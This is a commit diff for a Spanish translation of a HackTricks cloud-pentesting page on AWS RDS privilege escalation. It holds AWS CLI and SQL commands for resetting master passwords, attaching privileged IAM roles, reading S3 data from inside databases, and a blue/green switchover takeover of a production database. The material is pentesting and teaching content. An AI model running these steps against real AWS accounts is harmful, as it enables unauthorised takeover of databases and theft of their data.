mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+48
-28
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS - Relational Database Service
|
||||
## RDS - Servicio de Base de Datos Relacional
|
||||
|
||||
Para más información sobre RDS, consulta:
|
||||
Para más información sobre RDS consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información sobre RDS, consulta:
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
Con ese permiso, un atacante puede **modificar la contraseña del usuario principal**, y las credenciales de acceso dentro de la base de datos:
|
||||
Con ese permiso, un atacante puede **modificar la contraseña del usuario maestro**, y el login dentro de la base de datos:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,28 +27,28 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Necesitarás poder **ponerte en contacto con la base de datos** (por lo general sólo son accesibles desde redes internas).
|
||||
> Necesitarás poder **contactar con la base de datos** (normalmente solo son accesibles desde redes internas).
|
||||
|
||||
**Potential Impact:** Encontrar información sensible dentro de las bases de datos.
|
||||
**Impacto potencial:** Encontrar información sensible dentro de las bases de datos.
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
|
||||
Según la [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un usuario con este permiso podría conectarse a la instancia de la base de datos.
|
||||
|
||||
### Abusar de permisos IAM del Role de RDS
|
||||
### Abuse RDS Role IAM permissions
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Si ejecutas **`SELECT datname FROM pg_database;`** y encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**.
|
||||
> Si al ejecutar **`SELECT datname FROM pg_database;`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**.
|
||||
|
||||
Primero puedes comprobar si esta base de datos se ha usado para acceder a algún otro servicio de AWS. Puedes verificarlo mirando las extensiones instaladas:
|
||||
Primero puedes comprobar si esta base de datos se ha utilizado para acceder a cualquier otro servicio de AWS. Puedes comprobarlo mirando las extensiones instaladas:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
Si encuentras algo como **`aws_s3`**, puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**).
|
||||
Si encuentras algo como **`aws_s3`** puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**).
|
||||
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`**, puedes ver ahí si el **cluster tiene alguna IAM Role adjunta** en el campo **`AssociatedRoles`**. Si la hay, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del rol** (o si puedes obtener los **permisos** del rol) podrías **adivinar** qué acceso extra tiene la base de datos.
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes ver allí si el **cluster tiene algún IAM Role adjunto** en el campo **`AssociatedRoles`**. Si lo tiene, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del role** (o si puedes obtener los **permisos** del role) podrías **adivinar** qué acceso adicional tiene la base de datos.
|
||||
|
||||
Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
|
||||
```sql
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
Si tuvieras **credenciales AWS sin procesar**, también podrías usarlas para acceder a datos de S3 con:
|
||||
Si tuvieras **credenciales AWS sin procesar** también podrías usarlas para acceder a datos de S3 con:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
> [!NOTE]
|
||||
> Postgresql **doesn't need to change any parameter group variable** para poder acceder a S3.
|
||||
> Postgresql **no necesita cambiar ninguna variable del parameter group** para poder acceder a S3.
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Dentro de un mysql, si ejecutas la consulta **`SELECT User, Host FROM mysql.user;`** y existe un usuario llamado **`rdsadmin`**, puedes asumir que estás dentro de una **AWS RDS mysql db**.
|
||||
|
||||
Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
|
||||
Dentro del mysql ejecuta **`show variables;`** y si variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
|
||||
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún rol asociado (**associated role**), lo cual suele significar acceso a servicios de AWS).
|
||||
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún **rol asociado**, lo que normalmente significa acceso a servicios de AWS).
|
||||
|
||||
Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
|
||||
```sql
|
||||
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
|
||||
```
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos `rds:AddRoleToDBCluster` e `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
Un atacante con los permisos `rds:AddRoleToDBCluster` y `iam:PassRole` puede **agregar un role especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
**Potential Impact**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\
|
||||
Tenga en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los grupos de parámetros.
|
||||
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\
|
||||
Ten en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los parameter groups.
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
Con solo este permiso, un atacante podría crear una **nueva instancia dentro de un cluster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del master user, pero podría exponer la nueva instancia de base de datos a Internet:
|
||||
Con solo este permiso un atacante podría crear una **nueva instancia dentro de un clúster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
> [!NOTE]
|
||||
> TODO: Probar
|
||||
|
||||
Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante podría entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
Un atacante con los permisos `rds:CreateDBInstance` e `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante puede entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
|
||||
> [!WARNING]
|
||||
> Algunos requisitos del role/instance-profile para adjuntar (desde [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html")):
|
||||
> Algunos requisitos del role/instance-profile para adjuntar (según [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - El profile debe existir en tu cuenta.
|
||||
> - El profile debe tener un IAM role que Amazon EC2 tenga permisos para asumir.
|
||||
> - El nombre del instance profile y el nombre del IAM role asociado deben comenzar con el prefijo `AWSRDSCustom` .
|
||||
> - El perfil debe existir en tu cuenta.
|
||||
> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir.
|
||||
> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`.
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia de RDS.
|
||||
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un role especificado a una instancia de RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
|
||||
|
||||
> [!WARNING]
|
||||
> La instancia de DB debe estar fuera de un cluster para esto
|
||||
> La instancia DB debe estar fuera de un clúster para esto
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
|
||||
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas en los datos de la instancia RDS.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
|
||||
|
||||
Un atacante con estos permisos puede clonar una base de datos de producción (Blue), asignar un rol IAM de alto privilegio al clon (Green), y luego usar switchover para reemplazar el entorno de producción. Esto permite al atacante elevar los privilegios de la base de datos y obtener acceso no autorizado a otros recursos de AWS.
|
||||
```bash
|
||||
# Create a Green deployment (clone) of the production cluster
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name <name> \
|
||||
--source <production-db-cluster-arn>
|
||||
|
||||
# Attach a high-privilege IAM role to the Green cluster
|
||||
aws rds add-role-to-db-cluster \
|
||||
--db-cluster-identifier <green-cluster-id> \
|
||||
--role-arn <high-privilege-iam-role-arn>
|
||||
|
||||
# Switch the Green environment to Production
|
||||
aws rds switchover-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <deployment-id>
|
||||
```
|
||||
**Impacto Potencial**: Toma completa del entorno de base de datos de producción. Después de la conmutación, la base de datos opera con privilegios elevados, permitiendo el acceso no autorizado a otros servicios de AWS (p. ej., S3, Lambda, Secrets Manager) desde dentro de la base de datos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user